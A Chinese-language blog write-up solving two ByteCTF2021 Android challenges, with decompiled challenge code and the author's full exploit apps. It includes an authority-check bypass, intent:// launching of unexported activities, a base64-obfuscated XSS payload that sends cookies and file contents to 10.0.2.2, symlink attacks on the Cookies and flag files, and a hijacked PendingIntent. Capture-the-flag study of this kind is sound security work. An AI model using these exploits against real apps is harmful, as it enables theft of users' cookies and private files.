ByteCTF2021 Android题解

EasyDroid

攻击场景是允许安装一个恶意apk, 然后启动, 目标是窃取Cookie.

只有MainActivity是导出的.

1
2
3
4
5
6
7
8
9
10
11
<activity
android:name="com.bytectf.easydroid.MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<activity
android:name="com.bytectf.easydroid.TestActivity"
android:exported="false"/>

Mainactivity是一个开了js的webview, 可以以http访问特定域名.但检查可以被用户名的方式绕过.

比如指定为http://app.toutiao.com@10.0.2.2/attack.html会访问到10.0.2.2/attack.html

还通过shouldOverrideUrlLoading注册了一个intent://协议, 可以用来启动Activity.通过这个就可以访问到未导出的TestActivity了.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/* loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity {
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Uri data = getIntent().getData();
if (data == null) {
data = Uri.parse("<http://app.toutiao.com/>");
}
if (data.getAuthority().contains("toutiao.com") && data.getScheme().equals("http")) {
WebView webView = new WebView(getApplicationContext());
webView.setWebViewClient(new WebViewClient() { // from class: com.bytectf.easydroid.MainActivity.1
@Override // android.webkit.WebViewClient
public boolean shouldOverrideUrlLoading(WebView view, String url) {
Uri uri = Uri.parse(url);
if (uri.getScheme().equals("intent")) {
try {
MainActivity.this.startActivity(Intent.parseUri(url, 1));
} catch (URISyntaxException e) {
e.printStackTrace();
}
return true;
}
return super.shouldOverrideUrlLoading(view, url);
}
});
setContentView(webView);
webView.getSettings().setJavaScriptEnabled(true);
webView.loadUrl(data.toString());
}
}
}

TestActivity使用webview加载传入的任意url, 并且开启了js.这就满足了cookie窃取的条件.

1
2
3
4
5
6
7
8
9
10
11
public class TestActivity extends Activity {
@Override // android.app.Activity
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
String url = getIntent().getStringExtra("url");
WebView webView = new WebView(getApplicationContext());
setContentView(webView);
webView.getSettings().setJavaScriptEnabled(true);
webView.loadUrl(url);
}
}

首先操纵受害app加载setcookie.html, 将恶意代码写入Cookies文件中.

1
2
3
<script>
document.cookie = "x = '<img src=\\"x\\" onerror=\\"eval(atob('bmV3IEltYWdlKCkuc3JjID0gImh0dHA6Ly8xMC4wLjIuMi8/Y29va2llPSIgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImh0bWwiKVswXS5pbm5lckhUTUwpOwo='))\\">'"
</script>

恶意代码实际上是:

1
2
new Image().src = "<http://10.0.2.2/?cookie=>" + encodeURIComponent(document.getElementsByTagName("html")[0].innerHTML);

然后创建符号链接symlink.html指向Cookie文件, 使得webview将Cookie文件当作html解析, 触发恶意代码.

利用app:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class MainActivity : ComponentActivity() {
@SuppressLint("ResourceType")
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.main)

cmdexec("ln -s /data/data/com.bytectf.easydroid/app_webview/Cookies "
+ applicationInfo.dataDir + "/symlink.html")

val attButton: Button = findViewById(R.id.button)
attButton.setOnClickListener{
val intent = Intent()
val victim = "com.bytectf.easydroid.MainActivity"
intent.setComponent(ComponentName("com.bytectf.easydroid",victim))
intent.setData("<http://toutiao.com@10.0.2.2/setcookie.html>".toUri())

startActivityForResult(intent,42)

}
}

override fun onActivityResult(
requestCode: Int,
resultCode: Int,
data: Intent?,
) {
super.onActivityResult(requestCode, resultCode, data)

val intent = Intent()
val victim = "com.bytectf.easydroid.MainActivity"
intent.setComponent(ComponentName("com.bytectf.easydroid",victim))
intent.setData("<http://toutiao.com@10.0.2.2/intent.html>".toUri())

startActivity(intent)

}

用来启动TestActivity的intent.html:

1
2
3
4
5
<h5>Hacked by HanQi</h5>
<script>
location.href="intent://#Intent;component=com.bytectf.easydroid/.TestActivity;S.url=file:///data/data/com.attack.hextree/symlink.html;end"
</script>

MediumDroid

攻击场景是安装一个恶意apk并启动, 目标是读取files/flag文件.

还是只有MainActivity导出, 和easydroid一样.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<activity
android:name="com.bytectf.mediumdroid.MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<activity
android:name="com.bytectf.mediumdroid.TestActivity"
android:exported="false"/>
<receiver
android:name="com.bytectf.mediumdroid.FlagReceiver"
android:exported="false">
<intent-filter>
<action android:name="com.bytectf.SET_FLAG"/>
</intent-filter>
</receiver>
<provider
android:name="androidx.core.content.FileProvider"
android:exported="false"
android:authorities="androidx.core.content.FileProvider"
android:grantUriPermissions="true">
<meta-data
android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/file_paths"/>
</provider>

这题的FlagReceiver将flag写入文件而不是cookie, 所以上一题的方法没办法直接使用.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/* loaded from: classes3.dex */
public class FlagReceiver extends BroadcastReceiver {
@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
String flag = intent.getStringExtra("flag");
if (flag != null) {
File file = new File(context.getFilesDir(), "flag");
writeFile(file, flag);
Log.e("FlagReceiver", "received flag.");
}
}

/* JADX WARN: Unsupported multi-entry loop pattern (BACK_EDGE: B:7:0x0016 -> B:23:0x0026). Please report as a decompilation issue!!! */
private void writeFile(File file, String s) {
FileWriter writer = null;
try {
try {
try {
writer = new FileWriter(file, true);
writer.write(s);
writer.write(10);
writer.close();
} catch (IOException e) {
e.printStackTrace();
if (writer != null) {
writer.close();
}
}
} catch (IOException e2) {
e2.printStackTrace();
}
} catch (Throwable th) {
if (writer != null) {
try {
writer.close();
} catch (IOException e3) {
e3.printStackTrace();
}
}
throw th;
}
}
}

TestActivity类似可以加载任意url, 但多了一个jsi接口Te3t函数, 可以发起一个通知.注意通知使用的intent是一个用来Broadcast的PendingIntent, 并且intent没有被填充, 这意味着如果拦截到这个PendingIntent对其修改, 就可以以受害app的权限发起广播.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class TestActivity extends Activity {
@Override // android.app.Activity
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
String url = getIntent().getStringExtra("url");
WebView webView = new WebView(getApplicationContext());
setContentView(webView);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(this, "jsi");
webView.loadUrl(url);
}

@JavascriptInterface
public void Te3t(String title, String content) {
if (Build.VERSION.SDK_INT >= 26) {
NotificationChannel channel = new NotificationChannel("CHANNEL_ID", "CHANNEL_NAME", 4);
NotificationManager notificationManager = (NotificationManager) getSystemService(NotificationManager.class);
notificationManager.createNotificationChannel(channel);
}
NotificationCompat.Builder builder = new NotificationCompat.Builder(this, "CHANNEL_ID").setContentTitle(title).setContentText(content).setSmallIcon(R.mipmap.ic_launcher).setContentIntent(PendingIntent.getBroadcast(this, 0, new Intent(), 0)).setAutoCancel(true).setPriority(1);
NotificationManagerCompat nm = NotificationManagerCompat.from(this);
nm.notify(100, builder.build());
}
}

而题目在部署时也给了监听通知的权限, 这样一来我们就有了代替受害app发起广播的能力.

1
adb(["shell", "cmd", "notification", "allow_listener", f'{pkg}/{pkg}.MagicService'])

而受害app的Receiver又只有FlagReceiver, 调用一次SetFlag覆盖flag有什么用呢? 仔细看可以发现写文件时用的是append, 所以不会覆盖flag而是在flag文件后写入. 那这就类似于在cookie中写入可以读到cookie, 用上一题的方式即可读到flag.

1
writer = new FileWriter(file, true);

攻击app如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class MainActivity : ComponentActivity() {
@SuppressLint("ResourceType")
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.main)

val attButton: Button = findViewById(R.id.button)
attButton.setOnClickListener{
startService(Intent(this, MagicService::class.java))

val intent = Intent()
val victim = "com.bytectf.mediumdroid.MainActivity"
intent.setComponent(ComponentName("com.bytectf.mediumdroid",victim))
intent.setData("<http://toutiao.com@10.0.2.2/intent.html>".toUri())

startActivity(intent)

}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
class MagicService : NotificationListenerService() {
override fun onCreate() {
super.onCreate()
Log.i("MagicService", "Service created")
}

override fun onBind(intent: Intent): IBinder? {
Log.i("MagicService", "onBind called")
return super.onBind(intent)
}

override fun onNotificationPosted(sbn: StatusBarNotification?) {
super.onNotificationPosted(sbn)
Log.i("MagicService", "Notification posted: ${sbn?.packageName} - ${sbn?.notification?.tickerText}")
val notification = sbn?.notification
val pendingIntent = notification?.contentIntent
val intent = Intent("com.bytectf.SET_FLAG")
intent.setPackage("com.bytectf.mediumdroid")
intent.putExtra("flag","<img src=\\"x\\" onerror=\\"eval(atob('bmV3IEltYWdlKCkuc3JjID0gImh0dHA6Ly8xMC4wLjIuMi8/Y29va2llPSIgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImh0bWwiKVswXS5pbm5lckhUTUwpOwo='))\\">")
pendingIntent?.send(
this,
0,
intent,
object : PendingIntent.OnFinished {
override fun onSendFinished(
pendingIntent: PendingIntent,
intent: Intent,
resultCode: Int,
resultData: String?,
extras: Bundle?
) {
symlinkattack()
}
},
null
)
}

fun symlinkattack()
{
Log.i("MagicService", "Symlink attack triggered")
cmdexec("rm -rf " + applicationInfo.dataDir + "/symlink.html")
cmdexec("ln -s /data/data/com.bytectf.mediumdroid/files/flag " +
applicationInfo.dataDir + "/symlink.html")

cmdexec("chmod 777 -R " + applicationInfo.dataDir)
val intent = Intent()
val victim = "com.bytectf.mediumdroid.MainActivity"
intent.setComponent(ComponentName("com.bytectf.mediumdroid",victim))
intent.setData("<http://toutiao.com@10.0.2.2/intent2.html>".toUri())
startActivity(intent)
}

override fun onNotificationRemoved(sbn: StatusBarNotification?) {
super.onNotificationRemoved(sbn)
}

@Throws(IOException::class)
private fun cmdexec(s: String?) {
Runtime.getRuntime().exec(s)
}
}

image.webp

其实这题还有一个暴露根目录的FileProvider, 但sendBroadcast不能通过Intent的方式授予Uri访问权限, 无法访问.

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2022-2025 翰青HanQi

请我喝杯咖啡吧~

支付宝
微信